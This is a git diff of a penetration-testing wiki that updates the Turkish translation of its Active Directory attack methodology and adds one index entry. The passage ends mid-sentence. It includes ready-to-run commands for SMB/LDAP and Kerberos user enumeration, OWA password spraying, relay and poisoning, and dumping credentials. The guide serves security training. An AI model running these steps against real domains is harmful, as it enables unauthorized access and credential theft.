diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 1b61cadc6..5d6679535 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -284,6 +284,7 @@ - [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md) - [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md) - [Kerberos Double Hop Problem](windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md) + - [Lansweeper Security](windows-hardening/active-directory-methodology/lansweeper-security.md) - [LAPS](windows-hardening/active-directory-methodology/laps.md) - [MSSQL AD Abuse](windows-hardening/active-directory-methodology/abusing-ad-mssql.md) - [Over Pass the Hash/Pass the Key](windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md) diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index 3b05fe2d8..7758c216f 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -2,88 +2,88 @@ {{#include ../../banners/hacktricks-training.md}} -## Temel genel bakış +## Basic overview -**Active Directory**, **ağ yöneticileri**'nin bir ağ içinde **alanlar**, **kullanıcılar** ve **nesneler** oluşturup yönetmelerini sağlayan temel bir teknoloji olarak hizmet eder. Ölçeklenebilir şekilde tasarlanmış olup, çok sayıda kullanıcıyı yönetilebilir **gruplara** ve **alt gruplara** organize ederken, çeşitli seviyelerde **erişim haklarını** kontrol etmeyi kolaylaştırır. +**Active Directory**, ağ yöneticilerinin **domain**, **kullanıcı** ve **nesneleri** verimli şekilde oluşturup yönetmesini sağlayan temel bir teknolojidir. Ölçeklenebilir şekilde tasarlanmıştır; çok sayıda kullanıcıyı yönetilebilir **gruplar** ve **alt gruplar** halinde organize etmeye ve farklı seviyelerde **erişim haklarını** kontrol etmeye imkan verir. -**Active Directory** yapısı üç ana katmandan oluşur: **alanlar**, **ağaçlar** ve **ormanlar**. Bir **alan**, ortak bir veritabanını paylaşan **kullanıcılar** veya **cihazlar** gibi nesnelerin bir koleksiyonunu kapsar. **Ağaçlar**, ortak bir yapı ile bağlantılı bu alanların gruplarıdır ve bir **orman**, birbirleriyle **güven ilişkileri** aracılığıyla bağlantılı birden fazla ağacın koleksiyonunu temsil eder; bu, organizasyon yapısının en üst katmanını oluşturur. Bu seviyelerin her birinde belirli **erişim** ve **iletişim hakları** atanabilir. +**Active Directory** yapısı üç ana katmandan oluşur: **domains**, **trees** ve **forests**. Bir **domain**, ortak bir veritabanını paylaşan **kullanıcı** veya **cihaz** gibi nesneler koleksiyonunu kapsar. **Trees**, ortak bir yapıyı paylaşan bu domainlerin gruplarıdır ve bir **forest**, birden fazla tree’nin **trust relationships** aracılığıyla birbirine bağlandığı en üst organizasyon katmanını temsil eder. Her seviyede belirli **erişim** ve **iletişim hakları** atanabilir. -**Active Directory** içindeki anahtar kavramlar şunlardır: +Active Directory içindeki temel kavramlar şunlardır: -1. **Dizin** – Active Directory nesneleri ile ilgili tüm bilgileri barındırır. -2. **Nesne** – Dizin içindeki varlıkları, **kullanıcılar**, **gruplar** veya **paylaşılan klasörler** gibi, ifade eder. -3. **Alan** – Dizin nesneleri için bir konteyner görevi görür; bir **orman** içinde birden fazla alanın bir arada bulunabilmesi mümkündür ve her biri kendi nesne koleksiyonunu korur. -4. **Ağaç** – Ortak bir kök alanı paylaşan alanların bir gruplamasıdır. -5. **Orman** – Active Directory'deki organizasyon yapısının zirvesi olup, aralarında **güven ilişkileri** bulunan birkaç ağaçtan oluşur. +1. **Directory** – Active Directory nesnelerine ait tüm bilgileri barındırır. +2. **Object** – Directory içindeki varlıkları ifade eder; örneğin **users**, **groups** veya **shared folders**. +3. **Domain** – Directory nesneleri için bir konteyner görevi görür; bir **forest** içinde birden fazla domain bulunabilir ve her biri kendi nesne koleksiyonunu tutar. +4. **Tree** – Ortak bir root domaini paylaşan domainlerin gruplandırılması. +5. **Forest** – Active Directory’de organizasyon yapısının en üst seviyesi; birden fazla tree’den oluşur ve bunlar arasında **trust relationships** bulunur. -**Active Directory Domain Services (AD DS)**, bir ağ içinde merkezi yönetim ve iletişim için kritik olan bir dizi hizmeti kapsar. Bu hizmetler şunları içerir: +**Active Directory Domain Services (AD DS)**, ağ içinde merkezi yönetim ve iletişim için kritik olan çeşitli servisleri kapsar. Bu servisler şunlardır: -1. **Alan Hizmetleri** – Veri depolamasını merkezileştirir ve **kullanıcılar** ile **alanlar** arasındaki etkileşimleri yönetir; **kimlik doğrulama** ve **arama** işlevlerini içerir. -2. **Sertifika Hizmetleri** – Güvenli **dijital sertifikaların** oluşturulması, dağıtımı ve yönetimini denetler. -3. **Hafif Dizin Hizmetleri** – **LDAP protokolü** aracılığıyla dizin destekli uygulamaları destekler. -4. **Dizin Federasyon Hizmetleri** – Bir oturumda birden fazla web uygulaması arasında kullanıcıları kimlik doğrulamak için **tek oturum açma** yetenekleri sağlar. -5. **Hak Yönetimi** – Telif hakkı materyalini korumaya yardımcı olur, yetkisiz dağıtım ve kullanımını düzenler. -6. **DNS Hizmeti** – **alan adlarının** çözülmesi için kritik öneme sahiptir. +1. **Domain Services** – Verilerin merkezi depolanmasını sağlar ve **users** ile **domains** arasındaki etkileşimleri, **authentication** ve **search** fonksiyonlarını yönetir. +2. **Certificate Services** – Güvenli **digital certificates** oluşturma, dağıtma ve yönetme işlerini denetler. +3. **Lightweight Directory Services** – **LDAP protocol** aracılığıyla directory-enabled uygulamaları destekler. +4. **Directory Federation Services** – Birden fazla web uygulamasında **single-sign-on** ile kullanıcıların tek oturumda doğrulanmasını sağlar. +5. **Rights Management** – Telif hakkı materyallerinin yetkisiz dağıtımını ve kullanılmasını kontrol ederek korumaya yardımcı olur. +6. **DNS Service** – **domain names** çözümlemesi için kritik öneme sahiptir. -Daha ayrıntılı bir açıklama için kontrol edin: [**TechTerms - Active Directory Tanımı**](https://techterms.com/definition/active_directory) +Daha detaylı açıklama için bakınız: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory) -### **Kerberos Kimlik Doğrulaması** +### **Kerberos Authentication** -Bir AD'yi nasıl **saldıracağını** öğrenmek için **Kerberos kimlik doğrulama sürecini** gerçekten iyi **anlamanız** gerekir.\ -[**Nasıl çalıştığını hala bilmiyorsanız bu sayfayı okuyun.**](kerberos-authentication.md) +Bir **AD’ye saldırmayı** öğrenmek istiyorsanız **Kerberos authentication process**i gerçekten iyi **anlamanız** gerekir.\ +[**Read this page if you still don't know how it works.**](kerberos-authentication.md) -## Hile Sayfası +## Cheat Sheet -AD'yi listelemek/sömürmek için hangi komutları çalıştırabileceğinizi hızlıca görmek için [https://wadcoms.github.io/](https://wadcoms.github.io) adresine göz atabilirsiniz. +Hangi komutlarla bir AD’yi enumerate/exploit edebileceğinize hızlıca bakmak için [https://wadcoms.github.io/](https://wadcoms.github.io) adresinden faydalanabilirsiniz. > [!WARNING] -> Kerberos iletişimi, eylemleri gerçekleştirmek için **tam nitelikli ad (FQDN)** gerektirir. Bir makineye IP adresiyle erişmeye çalışırsanız, **NTLM kullanır ve kerberos kullanmaz**. +> Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not kerberos**. -## Recon Active Directory (Kimlik bilgisi/oturum yok) +## Recon Active Directory (No creds/sessions) -Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturumunuz yoksa şunları yapabilirsiniz: +Eğer bir AD ortamına erişiminiz varsa fakat herhangi bir credential/session yoksa şu işlemleri yapabilirsiniz: -- **Ağı test et:** -- Ağı tarayın, makineleri ve açık portları bulun ve bunlardan **zayıflıkları sömürmeye** veya **kimlik bilgilerini çıkarmaya** çalışın (örneğin, [yazıcılar çok ilginç hedefler olabilir](ad-information-in-printers.md)). -- DNS'i listelemek, alan içindeki anahtar sunucular hakkında bilgi verebilir; web, yazıcılar, paylaşımlar, vpn, medya vb. +- **Pentest the network:** +- Ağ taraması yapın, makineleri ve açık portları bulun, **vulnerabilities**i exploit etmeyi veya bu makinelerden **credentials** çıkarmayı deneyin (örneğin, [printers could be very interesting targets](ad-information-in-printers.md) çok ilgi çekici hedefler olabilir). +- DNS enumerasyonu, domain içindeki web, printers, shares, vpn, media gibi önemli sunucular hakkında bilgi verebilir. - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` -- Bunu nasıl yapacağınız hakkında daha fazla bilgi bulmak için Genel [**Pentesting Metodolojisi**](../../generic-methodologies-and-resources/pentesting-methodology.md) sayfasına göz atın. -- **Smb hizmetlerinde null ve Guest erişimini kontrol et** (bu modern Windows sürümlerinde çalışmayacaktır): +- Bunu nasıl yapacağınıza dair daha fazla bilgi için Genel [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) sayfasına göz atın. +- **Check for null and Guest access on smb services** (bu modern Windows sürümlerinde çalışmayacaktır): - `enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p "" ` - `smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H ` - `smbclient -U '%' -L // && smbclient -U 'guest%' -L //` -- Bir SMB sunucusunu listelemek için daha ayrıntılı bir kılavuz burada bulunabilir: +- Bir SMB sunucusunu enumerate etme ile ilgili daha detaylı rehber şurada bulunabilir: {{#ref}} ../../network-services-pentesting/pentesting-smb/ {{#endref}} -- **Ldap'ı listele** +- **Enumerate Ldap** - `nmap -n -sV --script "ldap* and not brute" -p 389 ` -- LDAP'ı listelemek için daha ayrıntılı bir kılavuz burada bulunabilir (lütfen **anonim erişime** özel dikkat gösterin): +- LDAP enumerate etme hakkında daha ayrıntılı rehber burada bulunabilir (anonim erişime **özellikle dikkat edin**): {{#ref}} ../../network-services-pentesting/pentesting-ldap.md {{#endref}} -- **Ağı zehirle** -- Kimlik bilgilerini [**Responder ile hizmetleri taklit ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) toplayın. -- [**relay saldırısını istismar ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) bir ana makineye erişin. -- Kimlik bilgilerini **sahte UPnP hizmetlerini açığa çıkararak** [**evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) ile toplayın. +- **Poison the network** +- Responder ile **impersonating services** yaparak credentials toplayın (gather credentials [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)) +- [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) ile hostlara erişin +- evil-S ile **fake UPnP services** açarak credentials toplayın (gather credentials **exposing** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)) - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html): -- Alan ortamları içindeki iç belgelerden, sosyal medyadan, hizmetlerden (özellikle web) kullanıcı adlarını/isimlerini çıkarın ve ayrıca kamuya açık olanlardan. -- Eğer şirket çalışanlarının tam isimlerini bulursanız, farklı AD **kullanıcı adı konvansiyonlarını** deneyebilirsiniz (**[bunu okuyun](https://activedirectorypro.com/active-directory-user-naming-convention/)**). En yaygın konvansiyonlar: _AdSoyad_, _Ad.Soyad_, _AdSoy_ (her birinin 3 harfi), _Ad.Soy_, _ASoyad_, _A.Soyad_, _SoyadAd_, _Soyad.Ad_, _SoyadA_, _Soyad.A_, 3 _rastgele harf ve 3 rastgele rakam_ (abc123). +- İç belgeler, sosyal medya, domain içindeki servisler (özellikle web) ve genel olarak kamuya açık kaynaklardan kullanıcı adları/isimler çıkarın. +- Şirket çalışanlarının tam isimlerini bulursanız, farklı AD **username conventions**larını deneyebilirsiniz ([**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). En yaygın conventionlar: _NameSurname_, _Name.Surname_, _NamSur_ (her birinden 3 harf), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _rasgele harf ve 3 rasgele sayı_ (abc123). - Araçlar: - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) -### Kullanıcı listeleme +### User enumeration -- **Anonim SMB/LDAP listeleme:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) ve [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) sayfalarını kontrol edin. -- **Kerbrute listeleme**: Bir **geçersiz kullanıcı adı istendiğinde**, sunucu **Kerberos hata** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ kullanarak yanıt verecek ve bu da kullanıcı adının geçersiz olduğunu belirlememizi sağlayacaktır. **Geçerli kullanıcı adları**, ya **AS-REP** yanıtında **TGT** alacak ya da _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını verecek, bu da kullanıcının ön kimlik doğrulama yapması gerektiğini gösterir. -- **MS-NRPC'ye karşı Kimlik Doğrulama Yok**: Alan denetleyicilerindeki MS-NRPC (Netlogon) arayüzüne karşı auth-level = 1 (Kimlik doğrulama yok) kullanarak. Bu yöntem, kullanıcı veya bilgisayarın kimlik bilgisi olmadan var olup olmadığını kontrol etmek için `DsrGetDcNameEx2` fonksiyonunu çağırır. [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) aracı bu tür bir listelemeyi uygular. Araştırma [burada](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) bulunabilir. +- **Anonymous SMB/LDAP enum:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) ve [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) sayfalarına bakın. +- **Kerbrute enum**: Geçersiz bir username istenildiğinde sunucu **Kerberos error** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ ile yanıt verecek ve bu sayede username’in geçersiz olduğu anlaşılacaktır. **Valid usernames** ya AS-REP içindeki **TGT** ile cevap alır ya da kullanıcının pre-authentication yapması gerektiğini belirten _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını döndürür. +- **No Authentication against MS-NRPC**: Domain controllerlar üzerindeki MS-NRPC (Netlogon) arayüzüne auth-level = 1 (No authentication) ile bağlanmak. Bu yöntem MS-NRPC arayüzüne bind ettikten sonra `DsrGetDcNameEx2` fonksiyonunu çağırarak kullanıcı veya bilgisayarın var olup olmadığını herhangi bir credential olmadan kontrol eder. Bu tip enumeration’u uygulayan araç [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) tarafından gerçekleştirilir. Araştırma şurada bulunabilir: [here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) ```bash ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases @@ -95,9 +95,9 @@ msf> use auxiliary/gather/kerberos_enumusers crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC ``` -- **OWA (Outlook Web Access) Sunucusu** +- **OWA (Outlook Web Access) Server** -Eğer ağda bu sunuculardan birini bulursanız, ona karşı **kullanıcı sayımı** da gerçekleştirebilirsiniz. Örneğin, [**MailSniper**](https://github.com/dafthack/MailSniper) aracını kullanabilirsiniz: +Ağda bu sunuculardan birini bulduysanız, ayrıca **user enumeration against it** gerçekleştirebilirsiniz. Örneğin, [**MailSniper**](https://github.com/dafthack/MailSniper): ```bash ipmo C:\Tools\MailSniper\MailSniper.ps1 # Get info about the domain @@ -110,99 +110,104 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt ``` > [!WARNING] -> Kullanıcı adlarının listelerini [**bu github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) ve bu ([**istatistiksel olarak muhtemel kullanıcı adları**](https://github.com/insidetrust/statistically-likely-usernames)) içinde bulabilirsiniz. +> Kullanıcı adı listelerini [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) ve bunun içinde ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) bulabilirsiniz. > -> Ancak, bu adımda daha önce gerçekleştirmiş olmanız gereken keşif aşamasından **şirket çalışanlarının isimlerini** almış olmalısınız. İsim ve soyadı ile [**namemash.py**](https://gist.github.com/superkojiman/11076951) scriptini kullanarak potansiyel geçerli kullanıcı adları oluşturabilirsiniz. +> Ancak, daha önce yapmış olmanız gereken recon adımından şirket çalışanlarının **isimlerini** edinmiş olmalısınız. İsim ve soyadıyla potansiyel geçerli kullanıcı adları üretmek için [**namemash.py**](https://gist.github.com/superkojiman/11076951) script'ini kullanabilirsiniz. -### Bir veya birkaç kullanıcı adını bilmek +### Knowing one or several usernames -Tamam, geçerli bir kullanıcı adınız var ama şifre yok... O zaman deneyin: +Tamam, geçerli bir kullanıcı adına zaten sahip olduğunuzu ama parolanız olmadığını biliyorsunuz... O zaman deneyin: + +- [**ASREPRoast**](asreproast.md): Eğer bir kullanıcının _DONT_REQ_PREAUTH_ özniteliği **yoksa**, o kullanıcı için parola türeviyle şifrelenmiş bazı veriler içerecek bir **AS_REP message** talep edebilirsiniz. +- [**Password Spraying**](password-spraying.md): Keşfedilen her kullanıcı ile en **common passwords**'ları deneyin; belki bazı kullanıcılar zayıf parola kullanıyordur (parola politikasını unutmayın!). +- Ayrıca kullanıcıların mail sunucularına erişim elde etmeye çalışmak için **spray OWA servers** yapabileceğinizi unutmayın. -- [**ASREPRoast**](asreproast.md): Eğer bir kullanıcının _DONT_REQ_PREAUTH_ niteliği **yoksa**, o kullanıcı için **bir AS_REP mesajı talep edebilirsiniz**; bu mesaj, kullanıcının şifresinin bir türevi ile şifrelenmiş bazı veriler içerecektir. -- [**Password Spraying**](password-spraying.md): Bulduğunuz her kullanıcı ile en **yaygın şifreleri** deneyelim, belki bazı kullanıcı kötü bir şifre kullanıyordur (şifre politikasını aklınızda bulundurun!). -- Ayrıca, kullanıcıların mail sunucularına erişim sağlamak için **OWA sunucularını da spray yapabilirsiniz**. {{#ref}} password-spraying.md {{#endref}} -### LLMNR/NBT-NS Zehirleme +### LLMNR/NBT-NS Poisoning + +Ağın bazı protokollerini **poisoning** yaparak kırmak için bazı **challenge** **hashes** elde edebilirsiniz: -Bazı zorluk **hash'lerini** elde edebilmeniz mümkün olabilir, bu da **ağ** protokollerini **zehirleyerek** yapılabilir: {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} -### NTLM İletimi +### NTLM Relay -Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTLM [**iletim saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) zorlayarak AD ortamına erişim sağlamayı deneyebilirsiniz. +Eğer Active Directory'yi enumerate etmeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayış** elde etmiş olursunuz. NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) zorlayarak AD ortamına erişim sağlayabilirsiniz. -### NTLM Kimlik Bilgilerini Çalma +### Steal NTLM Creds + +Eğer **null or guest user** ile **other PCs or shares**'lara **access** edebiliyorsanız, erişildiğinde size karşı **trigger an NTLM authentication against you** edecek dosyaları (ör. bir SCF file) **place files** edebilir ve böylece kırmak için **steal** edebileceğiniz **NTLM challenge**'ları elde edebilirsiniz: -Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşımlara erişiminiz** varsa, erişildiğinde **NTLM kimlik doğrulamasını tetikleyecek** (örneğin bir SCF dosyası gibi) **dosyalar yerleştirebilirsiniz**; böylece **NTLM zorluğunu çalabilirsiniz**: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md {{#endref}} -## Kimlik bilgileri/oturum ile Aktif Dizin Listeleme +## Enumerating Active Directory WITH credentials/session -Bu aşama için **geçerli bir alan hesabının kimlik bilgilerini veya oturumunu ele geçirmiş olmanız gerekir.** Eğer geçerli kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, **önceki seçeneklerin hala diğer kullanıcıları ele geçirmek için seçenekler olduğunu unutmamalısınız.** +Bu aşama için geçerli bir domain hesabının **kimlik bilgilerini veya oturumunu ele geçirmiş** olmanız gerekir. Eğer geçerli kimlik bilgilerine veya domain kullanıcısı olarak bir shell'e sahipseniz, **önceki seçeneklerin diğer kullanıcıları ele geçirmek için hâlâ geçerli olduğunu** unutmayın. + +Kimlikli enumeration'a başlamadan önce **Kerberos double hop problem**'in ne olduğunu bilmelisiniz. -Kimlik doğrulamalı listelemeye başlamadan önce **Kerberos çift atlama sorununu** bilmelisiniz. {{#ref}} kerberos-double-hop-problem.md {{#endref}} -### Listeleme +### Enumeration -Bir hesabı ele geçirmek, **tüm alanı ele geçirmeye başlamak için büyük bir adımdır**, çünkü **Aktif Dizin Listelemesine** başlayabileceksiniz: +Bir hesabı ele geçirmek, tüm domain'i ele geçirmek için büyük bir adımdır; çünkü artık **Active Directory Enumeration:**'a başlayabileceksiniz. -[**ASREPRoast**](asreproast.md) ile artık her olası savunmasız kullanıcıyı bulabilirsiniz ve [**Password Spraying**](password-spraying.md) ile ele geçirilen hesabın şifresini, boş şifreleri ve yeni umut verici şifreleri deneyebilirsiniz. +[**ASREPRoast**](asreproast.md) ile şimdi her olası zayıf kullanıcıyı bulabilirsiniz ve [**Password Spraying**](password-spraying.md) ile tüm kullanıcı adlarının bir **list of all the usernames**'ını alıp ele geçirilen hesabın parolasını, boş parolaları ve yeni umut verici parolaları deneyebilirsiniz. -- [**Temel bir keşif yapmak için CMD kullanabilirsiniz**](../basic-cmd-for-pentesters.md#domain-info) -- Ayrıca [**keşif için powershell kullanabilirsiniz**](../basic-powershell-for-pentesters/index.html) bu daha gizli olacaktır. -- Daha ayrıntılı bilgi çıkarmak için [**powerview kullanabilirsiniz**](../basic-powershell-for-pentesters/powerview.md). -- Aktif dizinde keşif için başka harika bir araç [**BloodHound**](bloodhound.md). **Çok gizli değildir** (kullandığınız toplama yöntemlerine bağlı olarak), ama **bununla ilgilenmiyorsanız**, kesinlikle denemelisiniz. Kullanıcıların RDP yapabileceği yerleri bulun, diğer gruplara giden yolları keşfedin, vb. -- **Diğer otomatik AD listeleme araçları şunlardır:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** -- [**AD'nin DNS kayıtları**](ad-dns-records.md) ilginç bilgiler içerebilir. -- Dizin listelemek için kullanabileceğiniz **GUI'ye sahip bir araç** **AdExplorer.exe**'dir, **SysInternal** Suite'ten. -- Ayrıca, _userPassword_ ve _unixUserPassword_ alanlarında veya hatta _Description_ için kimlik bilgilerini aramak üzere **ldapsearch** ile LDAP veritabanında arama yapabilirsiniz. Diğer yöntemler için [PayloadsAllTheThings'deki AD Kullanıcı yorumundaki şifre](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) için bakın. -- **Linux** kullanıyorsanız, [**pywerview**](https://github.com/the-useless-one/pywerview) kullanarak alanı listeleyebilirsiniz. -- Ayrıca otomatik araçlar denemek isteyebilirsiniz: +- Temel keşif yapmak için [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info) kullanabilirsiniz. +- Daha gizli olması için [**powershell for recon**](../basic-powershell-for-pentesters/index.html) kullanabilirsiniz. +- Daha detaylı bilgi çıkarmak için [**use powerview**](../basic-powershell-for-pentesters/powerview.md) kullanabilirsiniz. +- Active Directory keşfi için müthiş bir araç da [**BloodHound**](bloodhound.md). (Kullanılan collection yöntemlerine bağlı olarak) **çok stealthy** değildir, ama bunu umursamıyorsanız denemelisiniz. Kullanıcıların nereden RDP yapabildiğini, diğer gruplara giden yolları bulun vb. +- **Diğer otomatik AD enumeration araçları:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** +- [**DNS records of the AD**](ad-dns-records.md) ilginç bilgiler içerebilir. +- Directory'yi enumerate etmek için GUI tabanlı bir araç olarak **AdExplorer.exe** (SysInternal Suite) kullanabilirsiniz. +- LDAP veritabanında **ldapsearch** ile _userPassword_ & _unixUserPassword_ alanlarında ya da _Description_ içinde kimlik bilgisi arayabilirsiniz. Diğer yöntemler için bkz. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment). +- **Linux** kullanıyorsanız domain'i enumerate etmek için [**pywerview**](https://github.com/the-useless-one/pywerview)'u da kullanabilirsiniz. +- Ayrıca otomatik araçları deneyebilirsiniz: - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) - [**61106960/adPEAS**](https://github.com/61106960/adPEAS) -- **Tüm alan kullanıcılarını çıkarmak** +- **Extracting all domain users** -Windows'tan tüm alan kullanıcı adlarını elde etmek çok kolaydır (`net user /domain`, `Get-DomainUser` veya `wmic useraccount get name,sid`). Linux'ta, `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` veya `enum4linux -a -u "user" -p "password" ` kullanabilirsiniz. +Windows'tan tüm domain kullanıcı adlarını almak çok kolaydır (`net user /domain` ,`Get-DomainUser` veya `wmic useraccount get name,sid`). Linux'ta ise şu komutları kullanabilirsiniz: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` veya `enum4linux -a -u "user" -p "password" ` -> Bu Listeleme bölümü küçük görünse de, bu tüm sürecin en önemli kısmıdır. Bağlantılara erişin (özellikle cmd, powershell, powerview ve BloodHound olanlara), bir alanı nasıl listeleyeceğinizi öğrenin ve rahat hissettiğinizdeye kadar pratik yapın. Bir değerlendirme sırasında, bu DA'ya ulaşmak veya hiçbir şey yapılamayacağına karar vermek için ana an olacaktır. +> Even if this Enumeration section looks small this is the most important part of all. Access the links (mainly the one of cmd, powershell, powerview and BloodHound), learn how to enumerate a domain and practice until you feel comfortable. During an assessment, this will be the key moment to find your way to DA or to decide that nothing can be done. ### Kerberoast -Kerberoasting, kullanıcı hesaplarına bağlı hizmetler tarafından kullanılan **TGS biletlerini** elde etmeyi ve bunların şifrelemesini—kullanıcı şifrelerine dayalı olarak—**çözmeyi** içerir. +Kerberoasting, kullanıcı hesaplarına bağlı hizmetler tarafından kullanılan **TGS tickets**'ları elde etmeyi ve bu biletlerin şifrelemesini — kullanıcı parolalarına dayalı — **offline** olarak kırmayı içerir. + +Daha fazla bilgi için: -Bununla ilgili daha fazla bilgi: {{#ref}} kerberoast.md {{#endref}} -### Uzaktan bağlantı (RDP, SSH, FTP, Win-RM, vb.) +### Remote connexion (RDP, SSH, FTP, Win-RM, etc) -Bazı kimlik bilgilerini elde ettikten sonra, herhangi bir **makineye** erişiminiz olup olmadığını kontrol edebilirsiniz. Bu amaçla, port taramalarınıza göre farklı protokollerle birkaç sunucuya bağlanmayı denemek için **CrackMapExec** kullanabilirsiniz. +Bazı kimlik bilgileri elde ettiğinizde herhangi bir **machine**'e erişiminiz olup olmadığını kontrol edebilirsiniz. Bu amaçla, port taramalarınıza göre çeşitli protokollerle birden fazla sunucuya bağlanmayı denemek için **CrackMapExec** kullanabilirsiniz. -### Yerel Yetki Yükseltme +### Local Privilege Escalation -Eğer ele geçirilmiş kimlik bilgilerine veya bir oturuma sahipseniz ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz** varsa, **yerel olarak yetki yükseltme yollarını bulmaya ve kimlik bilgilerini çalmaya** çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile diğer kullanıcıların **hash'lerini** bellekte (LSASS) ve yerel olarak (SAM) **dökmek** mümkün olacaktır. +Eğer sıradan bir domain kullanıcısı olarak kimlik bilgilerini veya bir oturumu ele geçirdiyseniz ve bu kullanıcıyla domain içindeki **any machine in the domain**'e **access** hakkınız varsa, yerel ayrıcalıkları yükseltmek ve kimlik bilgilerini yağmalamak için yollar aramalısınız. Çünkü sadece yerel administrator ayrıcalıklarıyla diğer kullanıcıların hash'lerini bellekte (LSASS) ve yerelde (SAM) **dump** edebilirsiniz. -Bu kitapta [**Windows'ta yerel yetki yükseltme**](../windows-local-privilege-escalation/index.html) hakkında bir sayfa ve bir [**kontrol listesi**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca, 